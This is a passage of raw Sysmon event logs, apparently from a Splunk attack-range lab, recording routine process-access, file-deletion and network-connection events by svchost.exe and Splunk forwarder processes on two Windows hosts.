14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.130{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000014332Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:04.481{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50148-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000046173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:07.474{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A9D73D7493AFF5BB730A8C3B646AD433,SHA256=F7DF0E68B0C9879898C8130F9CFD42A51F49A3B9D972F9FBD6B601A0E38C13B4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014334Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:07.184{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=51B7ACFFFD26165D1085A89B2C9F0F19,SHA256=DA470425229354078B277E7E397D866D363D7737C759BF1C74CBF2653995B5E2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:08.490{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8D6668D9FD06108A3656FC8977AAA966,SHA256=2ECB3C480EBA505E3071B3C9F4C78717FA294C0A9C056740531532F56297BB68,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014335Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:08.215{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AD36A56CF3FC5A5F3A55C77ECE8381EB,SHA256=24599DEB8FA6FA8FA5CC766EF53930E0D71A4E1DB15C532C6B09918A73488912,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:06.462{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59291-false10.0.1.12-8000- 23542300x800000000000000046175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:09.552{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AFF2E0AD14CB79A28453CFBFF10227FD,SHA256=1EEC6E5F57D5EC1AFC69A60E1A046E93677AF2E5120D2A0B71629A60B17976E4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014336Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:09.231{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=37D6F24F2678F0B9C44C6A2EC8A99D1A,SHA256=C564CB238983D792EC971592AFF3811A6D6CDF2D77B7830601EA3102D1522255,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:10.599{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=42C396CBD47CAE8EE8018E991EC0DC79,SHA256=B6E4DDBA87439303FFCE3DC604788D0A7F074044A0B8E1613DA9DF6226ADABF1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014337Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:10.278{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=77809BE04AF3120CD784054D735455AA,SHA256=5C15B2E32EE4862D8C442C4AA5248A684CA51C3246FA57E50219EB80B15E1F83,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:11.615{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DBE3C54FFFD21DA251D6D621FF7A4EFE,SHA256=4F3E507D0E395BBB5000421CCA2AE50B3780369D4F0B499864B6286918228C24,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014338Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:11.361{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E79CB396ABBB3ACA45950F9C1BD41F14,SHA256=979BF82CBDCC4CF8A18D13E179C6BD30121DF0C98D462E222C6616D00336FADA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:12.849{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C1642B00969CDE2B983CCB91AB4A598B,SHA256=95F24CC3CE572B10BE3EE0A1D1D914E4A8FE0C5801E7E2634DBCC79F4AD54AB6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014340Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:12.454{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=261BF597DD1850A163D01B2DAE77A33C,SHA256=F0D2D28B795C9FD2515CDC897371F54A24C002ADAA2004C7685CEEEB0FC2866B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014339Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:10.371{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50149-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000046180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:13.880{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2A2A36E1619304CA1505012FF30B6796,SHA256=64AFC9ED1AB845D4E6B72FA58927C0CB05EFF65C22601F1F3DBCC3852867BCFF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014341Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:13.454{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=88F78D21C2D51D7723C010E5269FDE84,SHA256=0FBCC549209D8FC47D4B46E1A0AFF7A071AF410EF90BD33C751110C27D9B5D2D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:14.974{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BE61532E9DF5EC881EDAE4FA31CD1E60,SHA256=D10D290BE7314C4AA1003D3D03D2175FE785785A4F3EA2943D885BC085F60347,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014342Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:14.470{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=52B79BA586F4CB0D4103B0B288EA5C84,SHA256=A384B511DD127AEA813C355F3953CCD8F6944C2439202DABDC499E19E6B1E569,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:15.990{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program 